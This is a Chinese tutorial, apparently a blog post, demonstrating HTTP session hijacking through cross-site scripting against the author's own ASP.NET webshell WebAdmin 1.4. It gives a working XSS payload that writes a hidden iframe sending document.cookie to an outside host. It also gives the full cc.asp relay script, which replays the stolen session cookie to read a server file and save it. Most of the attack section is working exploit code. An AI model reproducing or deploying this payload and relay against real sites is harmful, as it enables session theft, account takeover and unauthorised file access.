跨站實現HTTP會話劫持
Web應用程式是通過2種方式來判斷和跟蹤不同使用者的:Cookie或者Session(也叫做會話型Cookie)。其中Cookie是儲存在本地計算機上的,過期時間很長,所以針對Cookie的攻擊手段一般是盜取使用者Cookie然後偽造Cookie冒充該使用者;而Session由於其存在於服務端,隨著會話的登出而失效(很快過期),往往難於利用。所以一般來說Session認證較之Cookie認證安全。
當然啦,Session難於利用並不等於不能利用,本文將通過一個小小的例子實現一次簡單的HTTP會話劫持。
還是以ASP為例,ASP程式是如何得到客戶端Session的呢?通過抓包可以發現HTTP請求的Cookie
那怎麼得到Session呢?答案是跨站。因為JavaScript的document.cookie()方法會把Cookie讀出來,當然也包括會話型Cookie。
如果你關注Web安全,相信你一定看到過記錄跨站得到Cookie的指令碼程式,我們也需要一個類似的程式,但功能不是記錄,而是立即轉發(因為當前會話隨時可能由於管理員退出而失效)。這個程式可以用ASP
要寫這個程式,你還必須對要攻擊的程式相當瞭解,因為你要提交各種請求。那現在先看看本例中被跨站的程式吧。
很榮幸,我選中了WebAdmin 1.4,嘿嘿,自己寫的程式自己肯定最清楚哪裡有漏洞啊。呵呵,簡要介紹一下,WebAdmin是一個ASP.Net下的webshell,使用的Session認證方式,1.4版本的跨站存在於目錄瀏覽的URL(圖1)。
所以我就在src中構造這樣的路徑:“E:<script>a='<iframe width=0 height=0 src=http://www.0x54.org/test/cc.asp?a=';a%2B=escape(document.cookie);a%2B='></iframe>';document.write(a);</script>
cc.asp檔案內容如下:
<% 'only for test with CSS str = request("a") Set xPost = CreateObject("Msxml2.ServerXMLHTTP") xPost.Open "GET", "http://222.210.115.125:813/webadmin.aspx?action=edit&src=E:/MyWeb/webadmin.aspx", False xPost.setRequestHeader "Cookie",str xPost.Send() Set sGet = CreateObject("ADODB.Stream") sGet.Mode = 3 sGet.Type = 1 sGet.Open() sGet.Write(xPost.responseBody) sGet.SaveToFile Server.MapPath("a.txt"),2 set sGet = nothing Set xPOST=nothing %> |
該檔案目的是獲取管理員Session並利用WebAdmin的檔案編輯功能檢視222.210.115.125(被攻擊的Web伺服器,其實是我本機啦)的E:/MyWeb/webadmin.aspx檔案內容並把內容儲存到本地的a.txt檔案中。資料的提交使用的是ServerXMLHTTP元件,它與XMLHTTP有相似之處,也有異同,具體的可以看看《ServerXMLHTTP vs XMLHTTP》。
準備就緒,先登陸WebAdmin然後再訪問構造好的跨站URL,呵呵,然後去看http://www.0x54.org/test/a.txt,得到內容如下圖所示:
你也可以試試直接訪問cc.asp,呵呵,生成的a.txt將是一個登陸介面的原始檔。
哈哈,現在熱烈慶祝一下本次HTTP會話劫持測試勝利閉幕,總的來說實行一次這樣的攻擊難度還是很大的,不過話又說回來,在技術這塊領域,除了Copy人家的程式碼,還有不需要努力就能做好的事情嗎?